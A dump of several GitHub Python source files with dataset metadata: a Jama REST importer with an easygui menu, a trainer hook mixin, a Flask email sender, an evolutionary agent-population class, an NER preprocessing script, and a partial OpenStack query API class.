0\nchoices = [\"Architecture\", \"Business Request\", \"Component\", \"Data Dictionary\",\n \"Data Requirement\", \"Defect\", \"Epic\", \"Functional Requirement\",\n \"Meeting Note\", \"Non-Functional Requirement\", \"Persona\", \"Requirement\",\n \"Style Guide\", \"Test Case\", \"Text\", \"Use Case\", \"User Storie\", \"Wireframe\"]\nheaders = {\"Authorization\": \"Bearer \" + access_token, \"Content-Type\": \"application/json\"}\n\n\ndef add_components_to_root_level(root_cmp_names1):\n global original_count, main_components_result\n original_count = 9 * len(root_cmp_names1)\n url = base_url + \"/rest/latest/items?setGlobalIdManually=false\"\n for name in root_cmp_names1:\n data = {\"project\": project_api_id, \"itemType\": 30,\n \"childItemType\": 30, \"fields\": {\"name\": name}}\n\n response = requests.request(\"POST\", url, headers=headers, data=json.dumps(data))\n global component_ids\n component_ids.append(response.json()[\"meta\"][\"id\"])\n main_components_result += (\"[\" + str(len(component_ids)) + \"/\" + str(len(root_cmp_names1)) + \"] Components \"\n \"created\\n\")\n global total_items_imported\n total_items_imported += len(component_ids)\n\n\ndef add_sets_to_components():\n count = []\n child_item_types = [\"25\", \"87\", \"87\", \"87\", \"116\"]\n set_names = [\"Use Cases\", \"Functional Requirements\", \"Non-Functional Requirements\", \"Technical Requirements\",\n \"Wireframes\"]\n set_keys = [\"UC\", \"FR\", \"NFR\", \"TR\", \"WF\"]\n url = base_url + \"/rest/latest/items?setGlobalIdManually=false\"\n i = 0\n while 5 > i > -1:\n for item in component_ids:\n data = {\"project\": project_api_id, \"itemType\": 31,\n \"childItemType\": child_item_types[i], \"location\":\n {\n \"parent\":\n {\n \"item\": item\n }\n }, \"fields\": {\"setKey\": set_keys[i], \"name\": set_names[i]}\n }\n response = requests.request(\"POST\", url, headers=headers, data=json.dumps(data))\n count.append(response.json()[\"meta\"][\"id\"])\n i += 1\n global main_components_result\n main_components_result += (\"[\" + str(5 * len(component_ids)) + \"/\" + str(len(count)) + \"] Sets of Use Cases, \"\n \"Functional \"\n \"Requirements, \"\n \"Non-Functional \"\n \"Requirements, Technical \"\n \"Requirements, \"\n \"and Wireframes created\\n\")\n global total_items_imported\n total_items_imported += (5 * len(component_ids))\n\n\ndef add_test_management():\n url = base_url + \"/rest/latest/items?setGlobalIdManually=false\"\n for item in component_ids:\n data = {\"project\": project_api_id, \"itemType\": 30,\n \"childItemType\": 30, \"location\": {\"parent\": {\"item\": item}}, \"fields\": {\"name\": \"Test Management\"}}\n response = requests.request(\"POST\", url, headers=headers, data=json.dumps(data))\n global test_management_ids\n test_management_ids.append(response.json()[\"meta\"][\"id\"])\n global main_components_result\n main_components_result += (\"[\" + str(len(component_ids)) + \"/\" + str(len(test_management_ids)) + \"] Test \"\n \"Management Sub \"\n \"Components \"\n \"created\\n\")\n global total_items_imported\n total_items_imported += len(component_ids)\n\n\ndef add_test_cases_and_defects():\n count = []\n child_item_types = [\"26\", \"27\"]\n set_names = [\"Test Cases\", \"Defects\"]\n set_keys = [\"TC\", \"DEF\"]\n url = base_url + \"/rest/latest/items?setGlobalIdManually=false\"\n i = 0\n while 2 > i > -1:\n for item in test_management_ids:\n data = {\"project\": project_api_id,\n \"itemType\": 31,\n \"childItemType\": child_item_types[i],\n \"location\": {\n \"parent\": {\n \"item\": item}\n }, \"fields\": {\"setKey\": set_keys[i], \"name\": set_names[i]}\n }\n response = requests.request(\"POST\", url, headers=headers, data=json.dumps(data))\n count.append(response.json()[\"meta\"][\"id\"])\n i += 1\n global main_components_result, total_items_imported\n main_components_result += (\"[\" + str(len(count)) + \"/\" + str(2 * len(component_ids)) + \"] Sets of Test Cases and \"\n \"Defects created\\n\")\n total_items_imported += (2 * len(component_ids))\n if original_count == total_items_imported:\n main_components_result += (\"\\nSuccess, imported [\" + str(total_items_imported) + \"] items!\")\n else:\n main_components_result += (\"Failed, only [\" + str(total_items_imported) + \"] items were imported.\")\n\n\ndef get_user_choices():\n global user_choice\n user_choice = choicebox(\"What artifact type would you like to add?\", choices=choices)\n if user_choice == \"Go back\":\n main()\n else:\n msg = \"Please enter the target item's ID\"\n document_key = enterbox(msg, title)\n url = base_url + \"/rest/latest/abstractitems?project=\" + str(project_api_id) + \"&documentKey=\" + document_key\n response = requests.request(\"GET\", url, headers=headers)\n global target_item_id\n target_item_id = response.json()[\"data\"][0]['id']\n\n\ndef add_uc(uc_data1):\n count = []\n url = base_url + \"/rest/latest/items?setGlobalIdManually=false\"\n for name, pre, main_flow, post, alt, blueprint_id in zip(uc_data1[\"Name\"], uc_data1[\"PreCondition\"],\n uc_data1[\"MainFlow\"],\n uc_data1[\"PostCondition\"], uc_data1[\"AlternateFlows\"],\n uc_data1[\"Blueprint_ID\"]):\n data = {\"project\": project_api_id, \"itemType\": 25,\n \"childItemType\": 25, \"location\":\n {\n \"parent\":\n {\n \"item\": target_item_id\n }\n }, \"fields\": {\"name\": name, \"precondition\": pre,\n \"mainflow\": main_flow, \"postcondition\": post, \"alternateflows\": alt,\n \"blueprint_id\": blueprint_id}\n }\n response = requests.request(\"POST\", url, headers=headers, data=json.dumps(data))\n count.append(response.json()[\"meta\"][\"id\"])\n global artifact_result\n if len(uc_data1[\"Name\"]) == len(count):\n artifact_result = \"Success, imported \" + str(len(count)) + \" Use Cases!\"\n else:\n artifact_result = \"Failed, only \" + str(len(count)) + \" Use Cases imported\"\n\n\ndef add_cmp(cmp_name1):\n count = []\n url = base_url + \"/rest/latest/items?setGlobalIdManually=false\"\n for name in cmp_name1:\n data = {\"project\": project_api_id, \"itemType\": 30,\n \"childItemType\": 30, \"location\":\n {\n \"parent\":\n {\n \"item\": target_item_id\n }\n }, \"fields\": {\"name\": name}\n }\n response = requests.request(\"POST\", url, headers=headers, data=json.dumps(data))\n count.append(response.json()[\"meta\"][\"id\"])\n global artifact_result\n if len(cmp_name1) == len(count):\n artifact_result = \"Success, imported [\" + str(len(count)) + \"] Components!\"\n else:\n artifact_result = \"Failed, only [\" + str(len(count)) + \"] Components imported.\"\n\n\ndef add_rq(rq_data1):\n count = []\n url = base_url + \"/rest/latest/items?setGlobalIdManually=false\"\n for name, description, blueprint_id in zip(rq_data1[\"Name\"], rq_data1[\"Description\"], rq_data1[\"Blueprint_ID\"]):\n data = {\"project\": project_api_id, \"itemType\": 87,\n \"childItemType\": 87, \"location\":\n {\n \"parent\":\n {\n \"item\": target_item_id\n }\n }, \"fields\": {\"name\": name, \"description\": description, \"blueprint_id\": blueprint_id}\n }\n response = requests.request(\"POST\", url, headers=headers, data=json.dumps(data))\n count.append(response.json()[\"meta\"][\"id\"])\n global artifact_result\n if len(rq_data1[\"Name\"]) == len(count):\n artifact_result = \"Success, imported [\" + str(len(count)) + \"] Requirements!\"\n else:\n artifact_result = \"Failed, only [\" + str(len(count)) + \"] Requirements were imported.\"\n\n\ndef add_wf(wf_data1):\n count = []\n url = base_url + \"/rest/latest/items?setGlobalIdManually=false\"\n for name, blueprint_id in zip(wf_data1[\"Name\"], wf_data1[\"Blueprint_ID\"]):\n data = {\"project\": project_api_id, \"itemType\": 116,\n \"childItemType\": 116, \"location\":\n {\n \"parent\":\n {\n \"item\": target_item_id\n }\n }, \"fields\": {\"name\": name, \"blueprint_id\": blueprint_id}\n }\n response = requests.request(\"POST\", url, headers=headers, data=json.dumps(data))\n count.append(response.json()[\"meta\"][\"id\"])\n global artifact_result\n if len(wf_data1[\"Name\"]) == len(count):\n artifact_result = \"Success, imported [\" + str(len(count)) + \"] Wireframes!\"\n else:\n artifact_result = \"Failed, only [\" + str(len(count)) + \"] Wireframes imported.\"\n\n\ndef add_requirements():\n global display\n if user_choice == choices[0]:\n display = \"Architecture in development.\"\n main2()\n elif user_choice == choices[1]:\n display = \"Business Request in development.\"\n main2()\n elif user_choice == choices[2]:\n from file_handler import components_file\n add_cmp(components_file())\n display = artifact_result\n main2()\n elif user_choice == choices[3]:\n display = \"Data Dictionary in development.\"\n main2()\n elif user_choice == choices[4]:\n display = \"Data Requirement in development.\"\n main2()\n elif user_choice == choices[5]:\n display = \"Defect in development.\"\n main2()\n elif user_choice == choices[6]:\n display = \"Epic in development.\"\n main2()\n elif user_choice == choices[7]:\n display = \"Functional Requirement in development.\"\n main2()\n elif user_choice == choices[8]:\n display = \"Meeting Note in development.\"\n main2()\n elif user_choice == choices[9]:\n display = \"Non-Functional Requirement in development.\"\n main2()\n elif user_choice == choices[10]:\n display = \"Persona in development.\"\n main2()\n elif user_choice == choices[11]:\n from file_handler import requirements_file\n add_rq(requirements_file())\n display = artifact_result\n main2()\n elif user_choice == choices[12]:\n display = \"Style Guide in development.\"\n main2()\n elif user_choice == choices[13]:\n display = \"Test Case in development.\"\n main2()\n elif user_choice == choices[14]:\n display = \"Text in development.\"\n main2()\n elif user_choice == choices[15]:\n from file_handler import use_cases_file\n add_uc(use_cases_file())\n display = artifact_result\n main2()\n elif user_choice == choices[16]:\n display = \"User Story in development.\"\n main2()\n elif user_choice == choices[17]:\n from file_handler import wireframes_file\n add_wf(wireframes_file())\n display = artifact_result\n main2()\n else:\n print(\"Error\")\n get_user_choices()\n\n\ndef main2():\n choices = [\"Add artifacts\", \"Change project\"]\n global main2_selection\n main2_selection = choicebox(display + \"\\n\\n What else would you like to do?\", choices=choices, title=title)\n if main2_selection == \"Add artifacts\":\n get_user_choices()\n add_requirements()\n elif main2_selection == \"Change project\":\n from helper import get_project_name\n get_project_name()\n main()\n else:\n exit()\n\n\ndef main():\n choices = [\"Add main components with their sets\", \"Add artifacts\", \"Change project\"]\n global main_selection, display\n main_selection = choicebox(\"What would you like to do?\", choices=choices, title=title)\n if main_selection == \"Add main components with their sets\":\n from file_handler import components_file\n add_components_to_root_level(components_file())\n add_sets_to_components()\n add_test_management()\n add_test_cases_and_defects()\n display = main_components_result\n main2()\n elif main_selection == \"Add artifacts\":\n get_user_choices()\n add_requirements()\n display = artifact_result\n elif main_selection == \"Change project\":\n from helper import get_project_name\n get_project_name()\n main()\n else:\n exit()\n\n\nif __name__ == '__main__':\n main()\n", "repo_name": "arthurosipyan/JamaScript", "sub_path": "JamaScript/JamaScript.py", "file_name": "JamaScript.py", "file_ext": "py", "file_size_in_byte": 14424, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "helper.access_token", "line_number": 23, "usage_type": "name"}, {"api_name": "helper.base_url", "line_number": 29, "usage_type": "name"}, {"api_name": "helper.project_api_id", "line_number": 31, "usage_type": "name"}, {"api_name": "requests.request", "line_number": 34, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 34, "usage_type": "call"}, {"api_name": "helper.base_url", "line_number": 49, "usage_type": "name"}, {"api_name": "helper.project_api_id", "line_number": 53, "usage_type": "name"}, {"api_name": "requests.request", "line_number": 62, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 62, "usage_type": "call"}, {"api_name": "helper.base_url", "line_number": 78, "usage_type": "name"}, {"api_name": "helper.project_api_id", "line_number": 80, "usage_type": "name"}, {"api_name": "requests.request", "line_number": 82, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 82, "usage_type": "call"}, {"api_name": "helper.base_url", "line_number": 99, "usage_type": "name"}, {"api_name": "helper.project_api_id", "line_number": 103, "usage_type": "name"}, {"api_name": "requests.request", "line_number": 111, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 111, "usage_type": "call"}, {"api_name": "easygui.choicebox", "line_number": 126, "usage_type": "call"}, {"api_name": "easygui.enterbox", "line_number": 131, "usage_type": "call"}, {"api_name": "helper.base_url", "line_number": 132, "usage_type": "name"}, {"api_name": "helper.project_api_id", "line_number": 132, "usage_type": "argument"}, {"api_name": "requests.request", "line_number": 133, "usage_type": "call"}, {"api_name": "helper.base_url", "line_number": 140, "usage_type": "name"}, {"api_name": "helper.project_api_id", "line_number": 145, "usage_type": "name"}, {"api_name": "requests.request", "line_number": 156, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 156, "usage_type": "call"}, {"api_name": "helper.base_url", "line_number": 167, "usage_type": "name"}, {"api_name": "helper.project_api_id", "line_number": 169, "usage_type": "name"}, {"api_name": "requests.request", "line_number": 178, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 178, "usage_type": "call"}, {"api_name": "helper.base_url", "line_number": 189, "usage_type": "name"}, {"api_name": "helper.project_api_id", "line_number": 191, "usage_type": "name"}, {"api_name": "requests.request", "line_number": 200, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 200, "usage_type": "call"}, {"api_name": "helper.base_url", "line_number": 211, "usage_type": "name"}, {"api_name": "helper.project_api_id", "line_number": 213, "usage_type": "name"}, {"api_name": "requests.request", "line_number": 222, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 222, "usage_type": "call"}, {"api_name": "file_handler.components_file", "line_number": 241, "usage_type": "call"}, {"api_name": "file_handler.requirements_file", "line_number": 270, "usage_type": "call"}, {"api_name": "file_handler.use_cases_file", "line_number": 284, "usage_type": "call"}, {"api_name": "file_handler.wireframes_file", "line_number": 292, "usage_type": "call"}, {"api_name": "easygui.choicebox", "line_number": 303, "usage_type": "call"}, {"api_name": "helper.get_project_name", "line_number": 309, "usage_type": "call"}, {"api_name": "easygui.choicebox", "line_number": 318, "usage_type": "call"}, {"api_name": "file_handler.components_file", "line_number": 321, "usage_type": "call"}, {"api_name": "helper.get_project_name", "line_number": 333, "usage_type": "call"}]} {"seq_id": "32216961837", "text": "# this is the hook for the trainer.\nimport typing as t\nfrom contextlib import contextmanager\n\nfrom loguru import logger\nfrom torch import nn\n\n# _Base = Trainer\n# else:\n# _Base = object\nfrom contrastyou.hooks import TrainerHook\n\nif t.TYPE_CHECKING:\n from contrastyou.trainer.base import Trainer\n\n _Base = Trainer\nelse:\n _Base = object\n\n\nclass HookMixin(_Base):\n def __init__(self, **kwargs) -> None:\n super().__init__(**kwargs)\n self._hooks = nn.ModuleList()\n\n @contextmanager\n def register_hook(self, *hook: \"TrainerHook\"):\n if self._initialized:\n raise RuntimeError(\"`register_hook must be called before `init()``\")\n for h in hook:\n self._hooks.append(h)\n h.to(self.device) # put the hook into device.\n h.register_trainer(self)\n\n logger.trace(\"bind TrainerHooks\")\n\n for h in self._hooks:\n h.after_initialize()\n yield\n for h in hook:\n h.close()\n logger.trace(\"close TrainerHooks\")\n", "repo_name": "jizongFox/Contrast-You", "sub_path": "contrastyou/trainer/_hooks.py", "file_name": "_hooks.py", "file_ext": "py", "file_size_in_byte": 1033, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.TYPE_CHECKING", "line_number": 13, "usage_type": "attribute"}, {"api_name": "contrastyou.trainer.base.Trainer", "line_number": 16, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 24, "usage_type": "name"}, {"api_name": "loguru.logger.trace", "line_number": 35, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 35, "usage_type": "name"}, {"api_name": "loguru.logger.trace", "line_number": 42, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 42, "usage_type": "name"}, {"api_name": "contextlib.contextmanager", "line_number": 26, "usage_type": "name"}]} {"seq_id": "8775131603", "text": "from threading import Thread\n\nfrom flask import current_app, render_template\nfrom flask_mail import Message\n\nfrom . import mail\n\n# 在实际项目中如果哟啊发送大量电子邮件时 使用专门发送电子邮件的作业比给每份邮件创建一个线程合适\n# 例如把直线send_async_email()函数的操作发给Celery(http://www.celeryproject.org/)任务队列\n# 异步发送电子邮件\ndef send_async_email(app, msg):\n with app.app_context():\n mail.send(msg)\n\n# 发送邮件 参数: [收件人地址], '主题', 渲染正文模板, {关键字参数列表}\n# 指定模板时不佳扩展名 这样才能使用两个模板分别渲染纯文本正文和富文本正文\n# 调用者将关键字参数传给render_template()函数 以便在模板中使用 进而生成电子邮件正文\ndef send_email(to, subject, template, **kwargs):\n app = current_app._get_current_object()\n msg = Message(app.config['FLASKY_MAIL_SUBJECT_PREFIX']+subject, \n sender=app.config['FLASKY_MAIL_SENDER'], recipients=[to])\n msg.body = render_template(template + '.txt', **kwargs)\n msg.html = render_template(template + '.html', **kwargs)\n # 原:同步发送 在发送邮件时会停滞几秒钟 为避免处理请求过程中不必要的延迟 采用异步发送\n # 将发送电子邮件的函数移到后台线程中\n #mail.send(msg)\n thr = Thread(target=send_async_email, args=[app, msg])\n thr.start()\n return thr\n", "repo_name": "jqcc/flask-blog", "sub_path": "app/email.py", "file_name": "email.py", "file_ext": "py", "file_size_in_byte": 1461, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.current_app._get_current_object", "line_number": 19, "usage_type": "call"}, {"api_name": "flask.current_app", "line_number": 19, "usage_type": "name"}, {"api_name": "flask_mail.Message", "line_number": 20, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 22, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 23, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 27, "usage_type": "call"}]} {"seq_id": "35279023629", "text": "import random\nimport numpy as np\nimport scipy\n\n\nclass BaseCEE(object):\n def __init__(self, params):\n self.senders = []\n self.receivers = []\n self.agents = [] # case where single pool of agents\n self.params = params\n self.generation = 0\n self.iteration = 0\n self.initialize_population(params)\n\n def initialize_population(self, params: dict):\n raise NotImplementedError(\"Initialize population needs to be implemented\")\n\n def train_population(self, batch):\n raise NotImplementedError(\"Train population needs to be implemented\")\n\n def evaluate_population(self):\n raise NotImplementedError(\"Evaluate population needs to be implemented\")\n\n def sample_population(self, receiver=False, mode: str = \"random\"):\n \"\"\"\n population (dict): population dictionary containing a single population.\n keys should be filenames and values attribute to do\n selection on\n mode: pick from {'random'}\n - random: uniformly sample from population to cull ()\n \"\"\"\n if self.params.single_pool:\n att = \"agents\"\n else:\n att = \"receivers\" if receiver else \"senders\"\n\n pop_size = len(getattr(self, att))\n\n if mode == \"random\":\n r = random.randrange(0, pop_size)\n else:\n raise ValueError(\"mode={} undefined for sampling population\".format(mode))\n\n return getattr(self, att)[r]\n\n def sample_agents_pair(self, mode: str = \"random\"):\n \"\"\"\n samples two agents from agent pool with no replacement\n mode: pick from {'random'}\n - random: uniformly sample from population to cull ()\n \"\"\"\n pop_size = len(self.agents)\n if mode == \"random\":\n rnd = np.random.choice(pop_size, 2, replace=False)\n s1, s2 = rnd[0], rnd[1]\n else:\n raise ValueError(\"mode={} undefined for sampling population\".format(mode))\n return (self.agents[s1], self.agents[s2])\n\n def sort_agents(self, receiver=False):\n raise NotImplementedError(\"sort_agents not implemented\")\n\n def cull_population(self, receiver=False, culling_rate=0.2, mode=\"random\"):\n \"\"\"\n Culls Population according to culling rate and mode\n Args:\n culling_rate (float, optional): percentage of the population to cull\n default: 0.2\n mode (string, optional): argument for sampling\n \"\"\"\n self.generation += 1\n\n if self.params.single_pool:\n att = \"agents\"\n else:\n att = \"receivers\" if receiver else \"senders\"\n\n pop_size = len(getattr(self, att))\n c = max(1, int(culling_rate * pop_size))\n\n if mode == \"random\":\n for _ in range(c):\n sampled_model = self.sample_population(receiver=receiver, mode=mode)\n sampled_model.cull()\n\n # sort by best converging\n if mode == \"best\":\n agents, _ = self.sort_agents(receiver=receiver)\n # cull worst c models\n agents.reverse() # resort from worst to best\n for w in agents[:c]:\n worst_agent = getattr(self, att)[w]\n worst_agent.cull()\n\n if mode == \"greedy\":\n agents, values = self.sort_agents(receiver=receiver)\n p = scipy.special.softmax(np.array(values))\n selected_agents = np.random.choice(agents, c, p=p, replace=False)\n for w in selected_agents:\n worst_agent = getattr(self, att)[w]\n worst_agent.cull()\n\n # order by age\n if mode == \"age\":\n agents = []\n ages = []\n for a in range(pop_size):\n ages.append(getattr(self, att)[a].age)\n agents.append(a)\n # sort from oldest to newest\n ages, agents = zip(*sorted(zip(ages, agents), reverse=True))\n agents = list(agents)\n for w in agents[:c]:\n worst_agent = getattr(self, att)[w]\n worst_agent.cull()\n", "repo_name": "gautierdag/cultural-evolution-engine", "sub_path": "cee/BaseCEE.py", "file_name": "BaseCEE.py", "file_ext": "py", "file_size_in_byte": 4170, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "71", "api": [{"api_name": "random.randrange", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 55, "usage_type": "attribute"}, {"api_name": "scipy.special.softmax", "line_number": 98, "usage_type": "call"}, {"api_name": "scipy.special", "line_number": 98, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 99, "usage_type": "attribute"}]} {"seq_id": "12313587185", "text": "\nimport os\nimport sys\nimport json\nimport logging\nfrom datetime import datetime\nfrom typing import Optional\nfrom dataclasses import dataclass, field\n\nfrom transformers import (\n HfArgumentParser,\n set_seed,\n)\nfrom chemdataextractor.doc import Paragraph\n\nfrom seqlbtoolkit.io import set_logging, logging_args, save_json\nfrom seqlbtoolkit.data import (\n respan,\n span_dict_to_list,\n merge_list_of_lists,\n label_to_span\n)\n\n\nlogger = logging.getLogger(__name__)\n\n\n@dataclass\nclass Arguments:\n \"\"\"\n Arguments regarding the training of Neural hidden Markov Model\n \"\"\"\n\n # --- manage directories and IO ---\n data_dir: Optional[str] = field(\n default='', metadata={'help': 'Directory to datasets'}\n )\n output_dir: Optional[str] = field(\n default='.',\n metadata={\"help\": \"The folder where the models and outputs will be written.\"},\n )\n log_dir: Optional[str] = field(\n default=None,\n metadata={\"help\": \"the directory of the log file. Set to '' to disable logging\"}\n )\n\n\ndef process(args: Arguments):\n ents = set()\n for partition in ('train', 'valid', 'test'):\n with open(os.path.join(args.data_dir, f\"{partition}.txt\"), 'r', encoding='utf-8') as f:\n instances = json.load(f)\n\n text_list = merge_list_of_lists(instances['text'])\n lbs_list = merge_list_of_lists(instances['label'])\n\n output_dict = dict()\n for idx, (text, lbs) in enumerate(zip(text_list, lbs_list)):\n raw_tks = Paragraph(' '.join(text)).raw_tokens\n cde_tks = merge_list_of_lists(raw_tks)\n ori_spans = label_to_span(lbs)\n ent_spans = {k: v for k, v in ori_spans.items() if v != 'ES'}\n cde_ent_spans = span_dict_to_list(respan(text, cde_tks, ent_spans))\n sent_lengths = [len(tk_seq) for tk_seq in raw_tks]\n\n output_dict[f\"{idx}\"] = {\"label\": cde_ent_spans, \"data\": {\"text\": cde_tks, 'sent_lengths': sent_lengths}}\n\n ents.update(ent_spans.values())\n\n save_json(output_dict, os.path.join(args.output_dir, f\"{partition}.json\"), collapse_level=4)\n\n save_json({'entity_types': list(ents)}, os.path.join(args.output_dir, \"meta.json\"))\n\n\nif __name__ == '__main__':\n\n _time = datetime.now().strftime(\"%m.%d.%y-%H.%M\")\n _current_file_name = os.path.basename(__file__)\n if _current_file_name.endswith('.py'):\n _current_file_name = _current_file_name[:-3]\n\n # --- set up arguments ---\n parser = HfArgumentParser(Arguments)\n if len(sys.argv) == 2 and sys.argv[1].endswith(\".json\"):\n # If we pass only one argument to the script, and it's the path to a json file,\n # let's parse it to get our arguments.\n arguments, = parser.parse_json_file(\n json_file=os.path.abspath(sys.argv[1])\n )\n else:\n arguments, = parser.parse_args_into_dataclasses()\n\n if getattr(arguments, \"log_dir\", None) is None:\n arguments.log_dir = os.path.join('logs', f'{_current_file_name}', f'{_time}.log')\n\n set_logging(log_dir=arguments.log_dir)\n logging_args(arguments)\n\n set_seed(getattr(arguments, 'seed', 42))\n\n try:\n process(args=arguments)\n except Exception as e:\n logger.exception(e)\n raise e\n", "repo_name": "Yinghao-Li/SupervisedNER", "sub_path": "data/data_processing.py", "file_name": "data_processing.py", "file_ext": "py", "file_size_in_byte": 3264, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 25, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 35, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 35, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 38, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 38, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 42, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 42, "usage_type": "call"}, {"api_name": "dataclasses.dataclass", "line_number": 28, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 52, "usage_type": "call"}, {"api_name": "seqlbtoolkit.data.merge_list_of_lists", "line_number": 54, "usage_type": "call"}, {"api_name": "seqlbtoolkit.data.merge_list_of_lists", "line_number": 55, "usage_type": "call"}, {"api_name": "chemdataextractor.doc.Paragraph", "line_number": 59, "usage_type": "call"}, {"api_name": "seqlbtoolkit.data.merge_list_of_lists", "line_number": 60, "usage_type": "call"}, {"api_name": "seqlbtoolkit.data.label_to_span", "line_number": 61, "usage_type": "call"}, {"api_name": "seqlbtoolkit.data.span_dict_to_list", "line_number": 63, "usage_type": "call"}, {"api_name": "seqlbtoolkit.data.respan", "line_number": 63, "usage_type": "call"}, {"api_name": "seqlbtoolkit.io.save_json", "line_number": 70, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 70, "usage_type": "call"}, {"api_name": "os.path", "line_number": 70, "usage_type": "attribute"}, {"api_name": "seqlbtoolkit.io.save_json", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path", "line_number": 72, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 77, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 77, "usage_type": "name"}, {"api_name": "os.path.basename", "line_number": 78, "usage_type": "call"}, {"api_name": "os.path", "line_number": 78, "usage_type": "attribute"}, {"api_name": "transformers.HfArgumentParser", "line_number": 83, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 84, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 88, "usage_type": "call"}, {"api_name": "os.path", "line_number": 88, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 88, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 94, "usage_type": "call"}, {"api_name": "os.path", "line_number": 94, "usage_type": "attribute"}, {"api_name": "seqlbtoolkit.io.set_logging", "line_number": 96, "usage_type": "call"}, {"api_name": "seqlbtoolkit.io.logging_args", "line_number": 97, "usage_type": "call"}, {"api_name": "transformers.set_seed", "line_number": 99, "usage_type": "call"}]} {"seq_id": "3215469188", "text": "import logging\nfrom typing import Union, List, Optional, Dict, Tuple\n\nfrom custom_types.openstack_query.aliases import OpenstackResourceObj, PropValue\nfrom enums.cloud_domains import CloudDomains\nfrom enums.query.props.prop_enum import PropEnum\nfrom enums.query.sort_order import SortOrder\nfrom enums.query.query_presets import QueryPresets\nfrom enums.query.query_types import QueryTypes\nfrom exceptions.parse_query_error import ParseQueryError\nfrom structs.query.query_components import QueryComponents\n\nlogger = logging.getLogger(__name__)\n\n\nclass QueryAPI:\n \"\"\"\n Interface for Query Classes. This class exposes all public methods for query api.\n \"\"\"\n\n def __init__(self, query_components: QueryComponents):\n self.builder = query_components.builder\n self.executer = query_components.executer\n self.parser = query_components.parser\n self.output = query_components.output\n self.chainer = query_components.chainer\n self._query_run = False\n\n def select(self, *props: PropEnum):\n \"\"\"\n Public method used to 'select' properties that the query will return the value of.\n Mutually exclusive to returning objects using select_all()\n :param props: one or more properties to collect described as enum\n \"\"\"\n\n # is an idempotent function\n # an be called multiple times with should aggregate properties to select\n logger.debug(\"select() called, with props: %s\", [prop.name for prop in props])\n if not props:\n raise ParseQueryError(\"provide at least one property to select\")\n\n self.output.parse_select(*props, select_all=False)\n logger.debug(\n \"selected props are now: %s\",\n [prop.name for prop in self.output.selected_props],\n )\n return self\n\n def select_all(self):\n \"\"\"\n Public method used to 'select' all properties that are available to be returned\n Mutually exclusive to returning objects using select_all()\n\n Overrides all currently selected properties\n returns list of properties currently selected\n \"\"\"\n logger.debug(\"select_all() called - getting all properties\")\n self.output.parse_select(select_all=True)\n logger.debug(\n \"selected props are now: %s\",\n [prop.name for prop in self.output.selected_props],\n )\n return self\n\n def where(self, preset: QueryPresets, prop: PropEnum, **kwargs):\n \"\"\"\n Public method used to set the conditions for the query.\n :param preset: QueryPreset Enum to use\n :param prop: Property Enum that the query preset will be used on\n :param kwargs: a set of optional arguments to pass along with the preset - property pair\n - these kwargs are dependent on the preset given\n \"\"\"\n kwargs_log_str = \"\"\n if kwargs:\n kwargs_log_str = \"\\n\\t\\t\".join(\n [f\"{key}: '{arg}'\" for key, arg in kwargs.items()]\n )\n\n logger.debug(\n \"where() called, with args:\"\n \"\\n\\t preset: %s\"\n \"\\n\\t prop: %s\"\n \"\\n\\t preset-args:\\n\\t\\t%s\",\n preset.name,\n prop.name,\n kwargs_log_str,\n )\n\n self.builder.parse_where(preset, prop, kwargs)\n return self\n\n def sort_by(self, *sort_by: Tuple[PropEnum, SortOrder]):\n \"\"\"\n Public method used to configure sorting results\n :param sort_by: Tuple of property enum to sort by and enum representing sorting order\n - SortOrder.ASC (ascending) or SortOrder.DESC (descending)\n \"\"\"\n self.parser.parse_sort_by(*sort_by)\n return self\n\n def group_by(\n self,\n group_by: PropEnum,\n group_ranges: Optional[Dict[str, List[PropValue]]] = None,\n include_ungrouped_results: bool = False,\n ):\n \"\"\"\n Public method used to configure how to group results.\n :param group_by: name of the property to group by\n :param group_ranges: a set of optional group 